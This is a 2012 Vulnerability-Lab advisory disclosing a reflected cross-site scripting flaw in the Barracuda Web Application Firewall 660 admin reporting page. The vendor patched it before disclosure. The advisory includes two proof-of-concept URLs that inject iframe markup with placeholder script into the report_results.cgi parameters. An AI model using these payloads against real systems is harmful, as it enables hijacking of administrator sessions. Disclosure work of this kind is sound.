Document Title:
===============
Barracuda WAF 660 v7.6.0.028 - Cross Site Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=444


Release Date:
=============
2012-03-07


Vulnerability Laboratory ID (VL-ID):
====================================
444


Product & Service Introduction:
===============================
The Barracuda Web Application Firewall provides superior protection against hackers’ attempts to exploit vulnerabilities 
in Web sites or Web applications to steal data, cause denial of service or deface Web sites. By integrating application 
delivery capabilities, the Barracuda Web Application Firewall is an affordable and comprehensive application firewall 
that can secure Web applications, as well as increase their performance and availability.


- Protection against common attacks
- Outbound data theft protection
- Web site cloaking
- Granular policies
- Secure HTTP traffic
- SSL Offloading
- SSL Acceleration
- Load Balancing

The Barracuda Web Application Firewall is a complete and powerful security solution for Web applications and Web sites. The 
Barracuda Web Application Firewall provides award-winning protection against hackers leveraging protocol or application 
vulnerabilities to instigate data theft, denial of service or defacement of your Web site.

(Copy of the vendor Homepage: http://www.barracudanetworks.com/ns/products/web-site-firewall-overview.php )


Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered a non persistent Cross Site Scripting Vulnerability on Barracudas Web Application Firewall 660 v7.6.0.028.


Vulnerability Disclosure Timeline:
==================================
2012-02-16:	Vendor Notification
2012-02-19:	Vendor Response/Feedback
2012-03-05:	Vendor Fix/Patch 
2012-03-07:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================
Barracuda Networks
Product: Barracuda Web Application Firewall 660 7.6.0.028


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A client side cross site scripting vulnerability is detected on Barracudas Web Application Firewall 660 v7.6.0.028. 
The vulnerability allows an attacker (remote) to hijack customer/moderator/admin sessions with medium required user inter 
action. Successful exploitation can result in account steal or client side context manipulation when processing firewall module
application requests.

Vulnerable Module(s): 
						[+] sessions_by_user&filter=[x]


Picture(s):
						../1.png
						../2.png


Proof of Concept (PoC):
=======================
The cross site scripting vulnerability can be exploited by remote attackers with high required user inter action. 
For demonstration or reproduce ...


Code Review: &filter=[x]

  <td valign="top"><table width="100%" cellspacing="0" cellpadding="0" class="config_module_inner" 
summary="Config Module"><tbody><tr class="config_module_tr" id="config_module_row_1"><td width="15" 
valign="top"> </td><td align="left" width="800" valign="middle">demo19.demodc.company.com</td></tr>
<tr class="config_module_tr" id="config_module_row_2"><td width="15" valign="top"> </td><td align="left" 
width="800" valign="middle">10.10.10.19 (Barracuda Web Filter)</td></tr>
<tr class="config_module_tr" id="config_module_row_3"><td width="15" valign="top"> </td><td align="left" 
width="800" valign="middle">Zeitraum: 2012-02-16 09:27:00 - 2012-02-16 10:27:00</td></tr>
<tr class="config_module_tr" id="config_module_row_4"><td width="15" valign="top"> </td><td align="left" 
width="800" valign="middle">Einloggen: "><iframe td="" <<=""[[EXECUTES NON-PERSISTENT SCRIPT CODE HERE!]]' src="a"></tr>
</table></td>
</tr></table></td>
    <td class='mr'></td>
  </tr>



PoC:#1
http://waf.server.com/cgi-mod/report_results.cgi?&user=guest&password=919c387ff0003928d0afb79c217dc27d&et=1329776843
&auth_type=Local&locale=de_DE&date_from=2012-
02-16%2009%3A27&date_to=2012-02-16%2010%3A27&count=10&chart_type=vbar&reports=sessions_by_user&filter=seen_user^%22
%3E%3C[[INCLUDE NON-PERSISTENT SCRIPT CODE HERE!]]%3C&domain=
&categories=&invert_categories=Yes&actions=allow,
block,warn,monitor&format=html&split=type&name=[[INCLUDE NON-PERSISTENT SCRIPT CODE HERE!]]&group_expand=No&expand_user=5&
expand_domain=5&expand_category=5&expand_url=5&expand_threat=5&exclude_from
_time=&exclude_to_time=&exclude_days=&ispopup=1&popup_width=820&popup_height=800

PoC:#2
http://waf.server.com/cgi-mod/report_results.cgi?&user=guest&password=919c387ff0003928d0afb79c217dc27d&et=1329776843&auth_type=Local&
locale=de_DE&date_from=2012-02-16%2
009%3A27&date_to=2012-02-16%2010%3A27&count=10&chart_type=vbar&reports=sessions_by_user&filter=seen_user^%22%3E%3Ciframe
%20src=a%20onload=http://waf.server.com/cgi-mod/report_results.cgi?%20%3C&domain=&categories=&invert_categories=
Yes&actions=allow,block,warn,monitor&format=html&split=type&name=%22%3E%3C
[[INCLUDE NON-PERSISTENT SCRIPT CODE HERE!]]&group_expand=No&expand_user=
5&expand_domain=5&expand_category=5&expand_url=5
expand_threat=5&exclude_from_time=&exclude_to_time=&exclude_days=&ispopup=1&popup_width=820&popup_height=800



Reference(s):
						../links and review.txt
						../p0c.txt


Security Risk:
==============
The security risk of the non-persistent (client side) cross site scripting vulnerability is estimated as low(+).


Credits & Authors:
==================
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    admin@vulnerability-lab.com 	- support@vulnerability-lab.com 	       - research@vulnerability-lab.com
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory